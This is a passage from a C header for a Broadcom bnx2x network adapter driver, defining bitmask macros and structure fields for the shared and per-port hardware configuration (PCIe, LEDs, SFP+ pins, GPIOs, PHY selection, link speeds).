0x00000400 /* Use SPIO4 as an arbiter between: 0-UMP, 1-IPMI (can only be used when an add-in board, not BMC, pulls-down SPIO4) */ #define SHARED_HW_CFG_MFW_SELECT_SPIO4_UMP_IPMI 0x00000500 /* Use SPIO4 as an arbiter between: 0-NC-SI, 1-UMP (can only be used when an add-in board, not BMC, pulls-down SPIO4) */ #define SHARED_HW_CFG_MFW_SELECT_SPIO4_NC_SI_UMP 0x00000600 /* Adjust the PCIe G2 Tx amplitude driver for all Tx lanes. For backwards compatibility, value of 0 is disabling this feature. That means that though 0 is a valid value, it cannot be configured. */ #define SHARED_HW_CFG_G2_TX_DRIVE_MASK 0x0000F000 #define SHARED_HW_CFG_G2_TX_DRIVE_SHIFT 12 #define SHARED_HW_CFG_LED_MODE_MASK 0x000F0000 #define SHARED_HW_CFG_LED_MODE_SHIFT 16 #define SHARED_HW_CFG_LED_MAC1 0x00000000 #define SHARED_HW_CFG_LED_PHY1 0x00010000 #define SHARED_HW_CFG_LED_PHY2 0x00020000 #define SHARED_HW_CFG_LED_PHY3 0x00030000 #define SHARED_HW_CFG_LED_MAC2 0x00040000 #define SHARED_HW_CFG_LED_PHY4 0x00050000 #define SHARED_HW_CFG_LED_PHY5 0x00060000 #define SHARED_HW_CFG_LED_PHY6 0x00070000 #define SHARED_HW_CFG_LED_MAC3 0x00080000 #define SHARED_HW_CFG_LED_PHY7 0x00090000 #define SHARED_HW_CFG_LED_PHY9 0x000a0000 #define SHARED_HW_CFG_LED_PHY11 0x000b0000 #define SHARED_HW_CFG_LED_MAC4 0x000c0000 #define SHARED_HW_CFG_LED_PHY8 0x000d0000 #define SHARED_HW_CFG_LED_EXTPHY1 0x000e0000 #define SHARED_HW_CFG_LED_EXTPHY2 0x000f0000 #define SHARED_HW_CFG_SRIOV_MASK 0x40000000 #define SHARED_HW_CFG_SRIOV_DISABLED 0x00000000 #define SHARED_HW_CFG_SRIOV_ENABLED 0x40000000 #define SHARED_HW_CFG_ATC_MASK 0x80000000 #define SHARED_HW_CFG_ATC_DISABLED 0x00000000 #define SHARED_HW_CFG_ATC_ENABLED 0x80000000 uint32_t config2; /* 0x118 */ #define SHARED_HW_CFG_PCIE_GEN2_MASK 0x00000100 #define SHARED_HW_CFG_PCIE_GEN2_SHIFT 8 #define SHARED_HW_CFG_PCIE_GEN2_DISABLED 0x00000000 #define SHARED_HW_CFG_PCIE_GEN2_ENABLED 0x00000100 #define SHARED_HW_CFG_SMBUS_TIMING_MASK 0x00001000 #define SHARED_HW_CFG_SMBUS_TIMING_100KHZ 0x00000000 #define SHARED_HW_CFG_SMBUS_TIMING_400KHZ 0x00001000 #define SHARED_HW_CFG_HIDE_PORT1 0x00002000 /* Output low when PERST is asserted */ #define SHARED_HW_CFG_SPIO4_FOLLOW_PERST_MASK 0x00008000 #define SHARED_HW_CFG_SPIO4_FOLLOW_PERST_DISABLED 0x00000000 #define SHARED_HW_CFG_SPIO4_FOLLOW_PERST_ENABLED 0x00008000 #define SHARED_HW_CFG_PCIE_GEN2_PREEMPHASIS_MASK 0x00070000 #define SHARED_HW_CFG_PCIE_GEN2_PREEMPHASIS_SHIFT 16 #define SHARED_HW_CFG_PCIE_GEN2_PREEMPHASIS_HW 0x00000000 #define SHARED_HW_CFG_PCIE_GEN2_PREEMPHASIS_0DB 0x00010000 #define SHARED_HW_CFG_PCIE_GEN2_PREEMPHASIS_3_5DB 0x00020000 #define SHARED_HW_CFG_PCIE_GEN2_PREEMPHASIS_6_0DB 0x00030000 /* The fan failure mechanism is usually related to the PHY type since the power consumption of the board is determined by the PHY. Currently, fan is required for most designs with SFX7101, BNX2X8727 and BNX2X8481. If a fan is not required for a board which uses one of those PHYs, this field should be set to "Disabled". If a fan is required for a different PHY type, this option should be set to "Enabled". The fan failure indication is expected on SPIO5 */ #define SHARED_HW_CFG_FAN_FAILURE_MASK 0x00180000 #define SHARED_HW_CFG_FAN_FAILURE_SHIFT 19 #define SHARED_HW_CFG_FAN_FAILURE_PHY_TYPE 0x00000000 #define SHARED_HW_CFG_FAN_FAILURE_DISABLED 0x00080000 #define SHARED_HW_CFG_FAN_FAILURE_ENABLED 0x00100000 /* ASPM Power Management support */ #define SHARED_HW_CFG_ASPM_SUPPORT_MASK 0x00600000 #define SHARED_HW_CFG_ASPM_SUPPORT_SHIFT 21 #define SHARED_HW_CFG_ASPM_SUPPORT_L0S_L1_ENABLED 0x00000000 #define SHARED_HW_CFG_ASPM_SUPPORT_L0S_DISABLED 0x00200000 #define SHARED_HW_CFG_ASPM_SUPPORT_L1_DISABLED 0x00400000 #define SHARED_HW_CFG_ASPM_SUPPORT_L0S_L1_DISABLED 0x00600000 /* The value of PM_TL_IGNORE_REQS (bit0) in PCI register tl_control_0 (register 0x2800) */ #define SHARED_HW_CFG_PREVENT_L1_ENTRY_MASK 0x00800000 #define SHARED_HW_CFG_PREVENT_L1_ENTRY_DISABLED 0x00000000 #define SHARED_HW_CFG_PREVENT_L1_ENTRY_ENABLED 0x00800000 /* Set the MDC/MDIO access for the first external phy */ #define SHARED_HW_CFG_MDC_MDIO_ACCESS1_MASK 0x1C000000 #define SHARED_HW_CFG_MDC_MDIO_ACCESS1_SHIFT 26 #define SHARED_HW_CFG_MDC_MDIO_ACCESS1_PHY_TYPE 0x00000000 #define SHARED_HW_CFG_MDC_MDIO_ACCESS1_EMAC0 0x04000000 #define SHARED_HW_CFG_MDC_MDIO_ACCESS1_EMAC1 0x08000000 #define SHARED_HW_CFG_MDC_MDIO_ACCESS1_BOTH 0x0c000000 #define SHARED_HW_CFG_MDC_MDIO_ACCESS1_SWAPPED 0x10000000 /* Set the MDC/MDIO access for the second external phy */ #define SHARED_HW_CFG_MDC_MDIO_ACCESS2_MASK 0xE0000000 #define SHARED_HW_CFG_MDC_MDIO_ACCESS2_SHIFT 29 #define SHARED_HW_CFG_MDC_MDIO_ACCESS2_PHY_TYPE 0x00000000 #define SHARED_HW_CFG_MDC_MDIO_ACCESS2_EMAC0 0x20000000 #define SHARED_HW_CFG_MDC_MDIO_ACCESS2_EMAC1 0x40000000 #define SHARED_HW_CFG_MDC_MDIO_ACCESS2_BOTH 0x60000000 #define SHARED_HW_CFG_MDC_MDIO_ACCESS2_SWAPPED 0x80000000 /* Max number of PF MSIX vectors */ uint32_t config_3; /* 0x11C */ #define SHARED_HW_CFG_PF_MSIX_MAX_NUM_MASK 0x0000007F #define SHARED_HW_CFG_PF_MSIX_MAX_NUM_SHIFT 0 uint32_t ump_nc_si_config; /* 0x120 */ #define SHARED_HW_CFG_UMP_NC_SI_MII_MODE_MASK 0x00000003 #define SHARED_HW_CFG_UMP_NC_SI_MII_MODE_SHIFT 0 #define SHARED_HW_CFG_UMP_NC_SI_MII_MODE_MAC 0x00000000 #define SHARED_HW_CFG_UMP_NC_SI_MII_MODE_PHY 0x00000001 #define SHARED_HW_CFG_UMP_NC_SI_MII_MODE_MII 0x00000000 #define SHARED_HW_CFG_UMP_NC_SI_MII_MODE_RMII 0x00000002 /* Reserved bits: 226-230 */ /* The output pin template BSC_SEL which selects the I2C for this port in the I2C Mux */ uint32_t board; /* 0x124 */ #define SHARED_HW_CFG_E3_I2C_MUX0_MASK 0x0000003F #define SHARED_HW_CFG_E3_I2C_MUX0_SHIFT 0 #define SHARED_HW_CFG_E3_I2C_MUX1_MASK 0x00000FC0 #define SHARED_HW_CFG_E3_I2C_MUX1_SHIFT 6 /* Use the PIN_CFG_XXX defines on top */ #define SHARED_HW_CFG_BOARD_REV_MASK 0x00FF0000 #define SHARED_HW_CFG_BOARD_REV_SHIFT 16 #define SHARED_HW_CFG_BOARD_MAJOR_VER_MASK 0x0F000000 #define SHARED_HW_CFG_BOARD_MAJOR_VER_SHIFT 24 #define SHARED_HW_CFG_BOARD_MINOR_VER_MASK 0xF0000000 #define SHARED_HW_CFG_BOARD_MINOR_VER_SHIFT 28 uint32_t wc_lane_config; /* 0x128 */ #define SHARED_HW_CFG_LANE_SWAP_CFG_MASK 0x0000FFFF #define SHARED_HW_CFG_LANE_SWAP_CFG_SHIFT 0 #define SHARED_HW_CFG_LANE_SWAP_CFG_32103210 0x00001b1b #define SHARED_HW_CFG_LANE_SWAP_CFG_32100123 0x00001be4 #define SHARED_HW_CFG_LANE_SWAP_CFG_31200213 0x000027d8 #define SHARED_HW_CFG_LANE_SWAP_CFG_02133120 0x0000d827 #define SHARED_HW_CFG_LANE_SWAP_CFG_01233210 0x0000e41b #define SHARED_HW_CFG_LANE_SWAP_CFG_01230123 0x0000e4e4 #define SHARED_HW_CFG_LANE_SWAP_CFG_TX_MASK 0x000000FF #define SHARED_HW_CFG_LANE_SWAP_CFG_TX_SHIFT 0 #define SHARED_HW_CFG_LANE_SWAP_CFG_RX_MASK 0x0000FF00 #define SHARED_HW_CFG_LANE_SWAP_CFG_RX_SHIFT 8 /* TX lane Polarity swap */ #define SHARED_HW_CFG_TX_LANE0_POL_FLIP_ENABLED 0x00010000 #define SHARED_HW_CFG_TX_LANE1_POL_FLIP_ENABLED 0x00020000 #define SHARED_HW_CFG_TX_LANE2_POL_FLIP_ENABLED 0x00040000 #define SHARED_HW_CFG_TX_LANE3_POL_FLIP_ENABLED 0x00080000 /* TX lane Polarity swap */ #define SHARED_HW_CFG_RX_LANE0_POL_FLIP_ENABLED 0x00100000 #define SHARED_HW_CFG_RX_LANE1_POL_FLIP_ENABLED 0x00200000 #define SHARED_HW_CFG_RX_LANE2_POL_FLIP_ENABLED 0x00400000 #define SHARED_HW_CFG_RX_LANE3_POL_FLIP_ENABLED 0x00800000 /* Selects the port layout of the board */ #define SHARED_HW_CFG_E3_PORT_LAYOUT_MASK 0x0F000000 #define SHARED_HW_CFG_E3_PORT_LAYOUT_SHIFT 24 #define SHARED_HW_CFG_E3_PORT_LAYOUT_2P_01 0x00000000 #define SHARED_HW_CFG_E3_PORT_LAYOUT_2P_10 0x01000000 #define SHARED_HW_CFG_E3_PORT_LAYOUT_4P_0123 0x02000000 #define SHARED_HW_CFG_E3_PORT_LAYOUT_4P_1032 0x03000000 #define SHARED_HW_CFG_E3_PORT_LAYOUT_4P_2301 0x04000000 #define SHARED_HW_CFG_E3_PORT_LAYOUT_4P_3210 0x05000000 }; /**************************************************************************** * Port HW configuration * ****************************************************************************/ struct port_hw_cfg { /* port 0: 0x12c port 1: 0x2bc */ uint32_t pci_id; #define PORT_HW_CFG_PCI_DEVICE_ID_MASK 0x0000FFFF #define PORT_HW_CFG_PCI_DEVICE_ID_SHIFT 0 #define PORT_HW_CFG_PCI_VENDOR_ID_MASK 0xFFFF0000 #define PORT_HW_CFG_PCI_VENDOR_ID_SHIFT 16 uint32_t pci_sub_id; #define PORT_HW_CFG_PCI_SUBSYS_VENDOR_ID_MASK 0x0000FFFF #define PORT_HW_CFG_PCI_SUBSYS_VENDOR_ID_SHIFT 0 #define PORT_HW_CFG_PCI_SUBSYS_DEVICE_ID_MASK 0xFFFF0000 #define PORT_HW_CFG_PCI_SUBSYS_DEVICE_ID_SHIFT 16 uint32_t power_dissipated; #define PORT_HW_CFG_POWER_DIS_D0_MASK 0x000000FF #define PORT_HW_CFG_POWER_DIS_D0_SHIFT 0 #define PORT_HW_CFG_POWER_DIS_D1_MASK 0x0000FF00 #define PORT_HW_CFG_POWER_DIS_D1_SHIFT 8 #define PORT_HW_CFG_POWER_DIS_D2_MASK 0x00FF0000 #define PORT_HW_CFG_POWER_DIS_D2_SHIFT 16 #define PORT_HW_CFG_POWER_DIS_D3_MASK 0xFF000000 #define PORT_HW_CFG_POWER_DIS_D3_SHIFT 24 uint32_t power_consumed; #define PORT_HW_CFG_POWER_CONS_D0_MASK 0x000000FF #define PORT_HW_CFG_POWER_CONS_D0_SHIFT 0 #define PORT_HW_CFG_POWER_CONS_D1_MASK 0x0000FF00 #define PORT_HW_CFG_POWER_CONS_D1_SHIFT 8 #define PORT_HW_CFG_POWER_CONS_D2_MASK 0x00FF0000 #define PORT_HW_CFG_POWER_CONS_D2_SHIFT 16 #define PORT_HW_CFG_POWER_CONS_D3_MASK 0xFF000000 #define PORT_HW_CFG_POWER_CONS_D3_SHIFT 24 uint32_t mac_upper; uint32_t mac_lower; /* 0x140 */ #define PORT_HW_CFG_UPPERMAC_MASK 0x0000FFFF #define PORT_HW_CFG_UPPERMAC_SHIFT 0 uint32_t iscsi_mac_upper; /* Upper 16 bits are always zeroes */ uint32_t iscsi_mac_lower; uint32_t rdma_mac_upper; /* Upper 16 bits are always zeroes */ uint32_t rdma_mac_lower; uint32_t serdes_config; #define PORT_HW_CFG_SERDES_TX_DRV_PRE_EMPHASIS_MASK 0x0000FFFF #define PORT_HW_CFG_SERDES_TX_DRV_PRE_EMPHASIS_SHIFT 0 #define PORT_HW_CFG_SERDES_RX_DRV_EQUALIZER_MASK 0xFFFF0000 #define PORT_HW_CFG_SERDES_RX_DRV_EQUALIZER_SHIFT 16 /* Default values: 2P-64, 4P-32 */ uint32_t reserved; uint32_t vf_config; /* 0x15C */ #define PORT_HW_CFG_VF_PCI_DEVICE_ID_MASK 0xFFFF0000 #define PORT_HW_CFG_VF_PCI_DEVICE_ID_SHIFT 16 uint32_t mf_pci_id; /* 0x160 */ #define PORT_HW_CFG_MF_PCI_DEVICE_ID_MASK 0x0000FFFF #define PORT_HW_CFG_MF_PCI_DEVICE_ID_SHIFT 0 /* Controls the TX laser of the SFP+ module */ uint32_t sfp_ctrl; /* 0x164 */ #define PORT_HW_CFG_TX_LASER_MASK 0x000000FF #define PORT_HW_CFG_TX_LASER_SHIFT 0 #define PORT_HW_CFG_TX_LASER_MDIO 0x00000000 #define PORT_HW_CFG_TX_LASER_GPIO0 0x00000001 #define PORT_HW_CFG_TX_LASER_GPIO1 0x00000002 #define PORT_HW_CFG_TX_LASER_GPIO2 0x00000003 #define PORT_HW_CFG_TX_LASER_GPIO3 0x00000004 /* Controls the fault module LED of the SFP+ */ #define PORT_HW_CFG_FAULT_MODULE_LED_MASK 0x0000FF00 #define PORT_HW_CFG_FAULT_MODULE_LED_SHIFT 8 #define PORT_HW_CFG_FAULT_MODULE_LED_GPIO0 0x00000000 #define PORT_HW_CFG_FAULT_MODULE_LED_GPIO1 0x00000100 #define PORT_HW_CFG_FAULT_MODULE_LED_GPIO2 0x00000200 #define PORT_HW_CFG_FAULT_MODULE_LED_GPIO3 0x00000300 #define PORT_HW_CFG_FAULT_MODULE_LED_DISABLED 0x00000400 /* The output pin TX_DIS that controls the TX laser of the SFP+ module. Use the PIN_CFG_XXX defines on top */ uint32_t e3_sfp_ctrl; /* 0x168 */ #define PORT_HW_CFG_E3_TX_LASER_MASK 0x000000FF #define PORT_HW_CFG_E3_TX_LASER_SHIFT 0 /* The output pin for SFPP_TYPE which turns on the Fault module LED */ #define PORT_HW_CFG_E3_FAULT_MDL_LED_MASK 0x0000FF00 #define PORT_HW_CFG_E3_FAULT_MDL_LED_SHIFT 8 /* The input pin MOD_ABS that indicates whether SFP+ module is present or not. Use the PIN_CFG_XXX defines on top */ #define PORT_HW_CFG_E3_MOD_ABS_MASK 0x00FF0000 #define PORT_HW_CFG_E3_MOD_ABS_SHIFT 16 /* The output pin PWRDIS_SFP_X which disable the power of the SFP+ module. Use the PIN_CFG_XXX defines on top */ #define PORT_HW_CFG_E3_PWR_DIS_MASK 0xFF000000 #define PORT_HW_CFG_E3_PWR_DIS_SHIFT 24 /* * The input pin which signals module transmit fault. Use the * PIN_CFG_XXX defines on top */ uint32_t e3_cmn_pin_cfg; /* 0x16C */ #define PORT_HW_CFG_E3_TX_FAULT_MASK 0x000000FF #define PORT_HW_CFG_E3_TX_FAULT_SHIFT 0 /* The output pin which reset the PHY. Use the PIN_CFG_XXX defines on top */ #define PORT_HW_CFG_E3_PHY_RESET_MASK 0x0000FF00 #define PORT_HW_CFG_E3_PHY_RESET_SHIFT 8 /* * The output pin which powers down the PHY. Use the PIN_CFG_XXX * defines on top */ #define PORT_HW_CFG_E3_PWR_DOWN_MASK 0x00FF0000 #define PORT_HW_CFG_E3_PWR_DOWN_SHIFT 16 /* The output pin values BSC_SEL which selects the I2C for this port in the I2C Mux */ #define PORT_HW_CFG_E3_I2C_MUX0_MASK 0x01000000 #define PORT_HW_CFG_E3_I2C_MUX1_MASK 0x02000000 /* * The input pin I_FAULT which indicate over-current has occurred. * Use the PIN_CFG_XXX defines on top */ uint32_t e3_cmn_pin_cfg1; /* 0x170 */ #define PORT_HW_CFG_E3_OVER_CURRENT_MASK 0x000000FF #define PORT_HW_CFG_E3_OVER_CURRENT_SHIFT 0 /* pause on host ring */ uint32_t generic_features; /* 0x174 */ #define PORT_HW_CFG_PAUSE_ON_HOST_RING_MASK 0x00000001 #define PORT_HW_CFG_PAUSE_ON_HOST_RING_SHIFT 0 #define PORT_HW_CFG_PAUSE_ON_HOST_RING_DISABLED 0x00000000 #define PORT_HW_CFG_PAUSE_ON_HOST_RING_ENABLED 0x00000001 /* SFP+ Tx Equalization: NIC recommended and tested value is 0xBEB2 * LOM recommended and tested value is 0xBEB2. Using a different * value means using a value not tested by BRCM */ uint32_t sfi_tap_values; /* 0x178 */ #define PORT_HW_CFG_TX_EQUALIZATION_MASK 0x0000FFFF #define PORT_HW_CFG_TX_EQUALIZATION_SHIFT 0 /* SFP+ Tx driver broadcast IDRIVER: NIC recommended and tested * value is 0x2. LOM recommended and tested value is 0x2. Using a * different value means using a value not tested by BRCM */ #define PORT_HW_CFG_TX_DRV_BROADCAST_MASK 0x000F0000 #define PORT_HW_CFG_TX_DRV_BROADCAST_SHIFT 16 uint32_t reserved0[5]; /* 0x17c */ uint32_t aeu_int_mask; /* 0x190 */ uint32_t media_type; /* 0x194 */ #define PORT_HW_CFG_MEDIA_TYPE_PHY0_MASK 0x000000FF #define PORT_HW_CFG_MEDIA_TYPE_PHY0_SHIFT 0 #define PORT_HW_CFG_MEDIA_TYPE_PHY1_MASK 0x0000FF00 #define PORT_HW_CFG_MEDIA_TYPE_PHY1_SHIFT 8 #define PORT_HW_CFG_MEDIA_TYPE_PHY2_MASK 0x00FF0000 #define PORT_HW_CFG_MEDIA_TYPE_PHY2_SHIFT 16 /* 4 times 16 bits for all 4 lanes. In case external PHY is present (not direct mode), those values will not take effect on the 4 XGXS lanes. For some external PHYs (such as 8706 and 8726) the values will be used to configure the external PHY in those cases, not all 4 values are needed. */ uint16_t xgxs_config_rx[4]; /* 0x198 */ uint16_t xgxs_config_tx[4]; /* 0x1A0 */ /* For storing FCOE mac on shared memory */ uint32_t fcoe_fip_mac_upper; #define PORT_HW_CFG_FCOE_UPPERMAC_MASK 0x0000ffff #define PORT_HW_CFG_FCOE_UPPERMAC_SHIFT 0 uint32_t fcoe_fip_mac_lower; uint32_t fcoe_wwn_port_name_upper; uint32_t fcoe_wwn_port_name_lower; uint32_t fcoe_wwn_node_name_upper; uint32_t fcoe_wwn_node_name_lower; /* wwpn for npiv enabled */ uint32_t wwpn_for_npiv_config; /* 0x1C0 */ #define PORT_HW_CFG_WWPN_FOR_NPIV_ENABLED_MASK 0x00000001 #define PORT_HW_CFG_WWPN_FOR_NPIV_ENABLED_SHIFT 0 #define PORT_HW_CFG_WWPN_FOR_NPIV_ENABLED_DISABLED 0x00000000 #define PORT_HW_CFG_WWPN_FOR_NPIV_ENABLED_ENABLED 0x00000001 /* wwpn for npiv valid addresses */ uint32_t wwpn_for_npiv_valid_addresses; /* 0x1C4 */ #define PORT_HW_CFG_WWPN_FOR_NPIV_ADDRESS_BITMAP_MASK 0x0000FFFF #define PORT_HW_CFG_WWPN_FOR_NPIV_ADDRESS_BITMAP_SHIFT 0 struct mac_addr wwpn_for_niv_macs[16]; /* Reserved bits: 2272-2336 For storing FCOE mac on shared memory */ uint32_t Reserved1[14]; uint32_t pf_allocation; /* 0x280 */ /* number of vfs per PF, if 0 - sriov disabled */ #define PORT_HW_CFG_NUMBER_OF_VFS_MASK 0x000000FF #define PORT_HW_CFG_NUMBER_OF_VFS_SHIFT 0 /* Enable RJ45 magjack pair swapping on 10GBase-T PHY (0=default), 84833 only */ uint32_t xgbt_phy_cfg; /* 0x284 */ #define PORT_HW_CFG_RJ45_PAIR_SWAP_MASK 0x000000FF #define PORT_HW_CFG_RJ45_PAIR_SWAP_SHIFT 0 uint32_t default_cfg; /* 0x288 */ #define PORT_HW_CFG_GPIO0_CONFIG_MASK 0x00000003 #define PORT_HW_CFG_GPIO0_CONFIG_SHIFT 0 #define PORT_HW_CFG_GPIO0_CONFIG_NA 0x00000000 #define PORT_HW_CFG_GPIO0_CONFIG_LOW 0x00000001 #define PORT_HW_CFG_GPIO0_CONFIG_HIGH 0x00000002 #define PORT_HW_CFG_GPIO0_CONFIG_INPUT 0x00000003 #define PORT_HW_CFG_GPIO1_CONFIG_MASK 0x0000000C #define PORT_HW_CFG_GPIO1_CONFIG_SHIFT 2 #define PORT_HW_CFG_GPIO1_CONFIG_NA 0x00000000 #define PORT_HW_CFG_GPIO1_CONFIG_LOW 0x00000004 #define PORT_HW_CFG_GPIO1_CONFIG_HIGH 0x00000008 #define PORT_HW_CFG_GPIO1_CONFIG_INPUT 0x0000000c #define PORT_HW_CFG_GPIO2_CONFIG_MASK 0x00000030 #define PORT_HW_CFG_GPIO2_CONFIG_SHIFT 4 #define PORT_HW_CFG_GPIO2_CONFIG_NA 0x00000000 #define PORT_HW_CFG_GPIO2_CONFIG_LOW 0x00000010 #define PORT_HW_CFG_GPIO2_CONFIG_HIGH 0x00000020 #define PORT_HW_CFG_GPIO2_CONFIG_INPUT 0x00000030 #define PORT_HW_CFG_GPIO3_CONFIG_MASK 0x000000C0 #define PORT_HW_CFG_GPIO3_CONFIG_SHIFT 6 #define PORT_HW_CFG_GPIO3_CONFIG_NA 0x00000000 #define PORT_HW_CFG_GPIO3_CONFIG_LOW 0x00000040 #define PORT_HW_CFG_GPIO3_CONFIG_HIGH 0x00000080 #define PORT_HW_CFG_GPIO3_CONFIG_INPUT 0x000000c0 /* When KR link is required to be set to force which is not KR-compliant, this parameter determine what is the trigger for it. When GPIO is selected, low input will force the speed. Currently default speed is 1G. In the future, it may be widen to select the forced speed in with another parameter. Note when force-1G is enabled, it override option 56: Link Speed option. */ #define PORT_HW_CFG_FORCE_KR_ENABLER_MASK 0x00000F00 #define PORT_HW_CFG_FORCE_KR_ENABLER_SHIFT 8 #define PORT_HW_CFG_FORCE_KR_ENABLER_NOT_FORCED 0x00000000 #define PORT_HW_CFG_FORCE_KR_ENABLER_GPIO0_P0 0x00000100 #define PORT_HW_CFG_FORCE_KR_ENABLER_GPIO1_P0 0x00000200 #define PORT_HW_CFG_FORCE_KR_ENABLER_GPIO2_P0 0x00000300 #define PORT_HW_CFG_FORCE_KR_ENABLER_GPIO3_P0 0x00000400 #define PORT_HW_CFG_FORCE_KR_ENABLER_GPIO0_P1 0x00000500 #define PORT_HW_CFG_FORCE_KR_ENABLER_GPIO1_P1 0x00000600 #define PORT_HW_CFG_FORCE_KR_ENABLER_GPIO2_P1 0x00000700 #define PORT_HW_CFG_FORCE_KR_ENABLER_GPIO3_P1 0x00000800 #define PORT_HW_CFG_FORCE_KR_ENABLER_FORCED 0x00000900 /* Enable to determine with which GPIO to reset the external phy */ #define PORT_HW_CFG_EXT_PHY_GPIO_RST_MASK 0x000F0000 #define PORT_HW_CFG_EXT_PHY_GPIO_RST_SHIFT 16 #define PORT_HW_CFG_EXT_PHY_GPIO_RST_PHY_TYPE 0x00000000 #define PORT_HW_CFG_EXT_PHY_GPIO_RST_GPIO0_P0 0x00010000 #define PORT_HW_CFG_EXT_PHY_GPIO_RST_GPIO1_P0 0x00020000 #define PORT_HW_CFG_EXT_PHY_GPIO_RST_GPIO2_P0 0x00030000 #define PORT_HW_CFG_EXT_PHY_GPIO_RST_GPIO3_P0 0x00040000 #define PORT_HW_CFG_EXT_PHY_GPIO_RST_GPIO0_P1 0x00050000 #define PORT_HW_CFG_EXT_PHY_GPIO_RST_GPIO1_P1 0x00060000 #define PORT_HW_CFG_EXT_PHY_GPIO_RST_GPIO2_P1 0x00070000 #define PORT_HW_CFG_EXT_PHY_GPIO_RST_GPIO3_P1 0x00080000 /* Enable BAM on KR */ #define PORT_HW_CFG_ENABLE_BAM_ON_KR_MASK 0x00100000 #define PORT_HW_CFG_ENABLE_BAM_ON_KR_SHIFT 20 #define PORT_HW_CFG_ENABLE_BAM_ON_KR_DISABLED 0x00000000 #define PORT_HW_CFG_ENABLE_BAM_ON_KR_ENABLED 0x00100000 /* Enable Common Mode Sense */ #define PORT_HW_CFG_ENABLE_CMS_MASK 0x00200000 #define PORT_HW_CFG_ENABLE_CMS_SHIFT 21 #define PORT_HW_CFG_ENABLE_CMS_DISABLED 0x00000000 #define PORT_HW_CFG_ENABLE_CMS_ENABLED 0x00200000 /* Determine the Serdes electrical interface */ #define PORT_HW_CFG_NET_SERDES_IF_MASK 0x0F000000 #define PORT_HW_CFG_NET_SERDES_IF_SHIFT 24 #define PORT_HW_CFG_NET_SERDES_IF_SGMII 0x00000000 #define PORT_HW_CFG_NET_SERDES_IF_XFI 0x01000000 #define PORT_HW_CFG_NET_SERDES_IF_SFI 0x02000000 #define PORT_HW_CFG_NET_SERDES_IF_KR 0x03000000 #define PORT_HW_CFG_NET_SERDES_IF_DXGXS 0x04000000 #define PORT_HW_CFG_NET_SERDES_IF_KR2 0x05000000 /* SFP+ main TAP and post TAP volumes */ #define PORT_HW_CFG_TAP_LEVELS_MASK 0x70000000 #define PORT_HW_CFG_TAP_LEVELS_SHIFT 28 #define PORT_HW_CFG_TAP_LEVELS_POST_15_MAIN_43 0x00000000 #define PORT_HW_CFG_TAP_LEVELS_POST_14_MAIN_44 0x10000000 #define PORT_HW_CFG_TAP_LEVELS_POST_13_MAIN_45 0x20000000 #define PORT_HW_CFG_TAP_LEVELS_POST_12_MAIN_46 0x30000000 #define PORT_HW_CFG_TAP_LEVELS_POST_11_MAIN_47 0x40000000 #define PORT_HW_CFG_TAP_LEVELS_POST_10_MAIN_48 0x50000000 uint32_t speed_capability_mask2; /* 0x28C */ #define PORT_HW_CFG_SPEED_CAPABILITY2_D3_MASK 0x0000FFFF #define PORT_HW_CFG_SPEED_CAPABILITY2_D3_SHIFT 0 #define PORT_HW_CFG_SPEED_CAPABILITY2_D3_10M_FULL 0x00000001 #define PORT_HW_CFG_SPEED_CAPABILITY2_D3_10M_HALF 0x00000002 #define PORT_HW_CFG_SPEED_CAPABILITY2_D3_100M_HALF 0x00000004 #define PORT_HW_CFG_SPEED_CAPABILITY2_D3_100M_FULL 0x00000008 #define PORT_HW_CFG_SPEED_CAPABILITY2_D3_1G 0x00000010 #define PORT_HW_CFG_SPEED_CAPABILITY2_D3_2_5G 0x00000020 #define PORT_HW_CFG_SPEED_CAPABILITY2_D3_10G 0x00000040 #define PORT_HW_CFG_SPEED_CAPABILITY2_D3_20G 0x00000080 #define PORT_HW_CFG_SPEED_CAPABILITY2_D0_MASK 0xFFFF0000 #define PORT_HW_CFG_SPEED_CAPABILITY2_D0_SHIFT 16 #define PORT_HW_CFG_SPEED_CAPABILITY2_D0_10M_FULL 0x00010000 #define PORT_HW_CFG_SPEED_CAPABILITY2_D0_10M_HALF 0x00020000 #define PORT_HW_CFG_SPEED_CAPABILITY2_D0_100M_HALF 0x00040000 #define PORT_HW_CFG_SPEED_CAPABILITY2_D0_100M_FULL 0x00080000 #define PORT_HW_CFG_SPEED_CAPABILITY2_D0_1G 0x00100000 #define PORT_HW_CFG_SPEED_CAPABILITY2_D0_2_5G 0x00200000 #define PORT_HW_CFG_SPEED_CAPABILITY2_D0_10G 0x00400000 #define PORT_HW_CFG_SPEED_CAPABILITY2_D0_20G 0x00800000 /* In the case where two media types (e.g. copper and fiber) are present and electrically active at the same time, PHY Selection will determine which of the two PHYs will be designated as the Active PHY and used for a connection to the network. */ uint32_t multi_phy_config; /* 0x290 */ #define PORT_HW_CFG_PHY_SELECTION_MASK 0x00000007 #define PORT_HW_CFG_PHY_SELECTION_SHIFT 0 #define PORT_HW_CFG_PHY_SELECTION_HARDWARE_DEFAULT 0x00000000 #define PORT_HW_CFG_PHY_SELECTION_FIRST_PHY 0x00000001 #define PORT_HW_CFG_PHY_SELECTION_SECOND_PHY 0x00000002 #define PORT_HW_CFG_PHY_SELECTION_FIRST_PHY_PRIORITY 0x00000003 #define PORT_HW_CFG_PHY_SELECTION_SECOND_PHY_PRIORITY 0x00000004 /* When enabled, all second phy nvram parameters will be swapped with the first phy parameters */ #define PORT_HW_CFG_PHY_SWAPPED_MASK 0x00000008 #define PORT_HW_CFG_PHY_SWAPPED_SHIFT 3 #define PORT_HW_CFG_PHY_SWAPPED_DISABLED 0x00000000 #define PORT_HW_CFG_PHY_SWAPPED_ENABLED 0x00000008 /* Address of the second external phy */ uint32_t external_phy_config2; /* 0x294 */ #define PORT_HW_CFG_XGXS_EXT_PHY2_ADDR_MASK 0x000000FF #define PORT_HW_CFG_XGXS_EXT_PHY2_ADDR_SHIFT 0 /* The second XGXS external PHY type */ #define PORT_HW_CFG_XGXS_EXT_PHY2_TYPE_MASK 0x0000FF00 #define PORT_HW_CFG_XGXS_EXT_PHY2_TYPE_SHIFT 8 #define PORT_HW_CFG_XGXS_EXT_PHY2_TYPE_DIRECT 0x00000000 #define PORT_HW_CFG_XGXS_EXT_PHY2_TYPE_BNX2X8071 0x00000100 #define PORT_HW_CFG_XGXS_EXT_PHY2_TYPE_BNX2X8072 0x00000200 #define PORT_HW_CFG_XGXS_EXT_PHY2_TYPE_BNX2X8073 0x00000300 #define PORT_HW_CFG_XGXS_EXT_PHY2_TYPE_BNX2X8705 0x00000400 #define PORT_HW_CFG_XGXS_EXT_PHY2_TYPE_BNX2X8706 0x00000500 #define 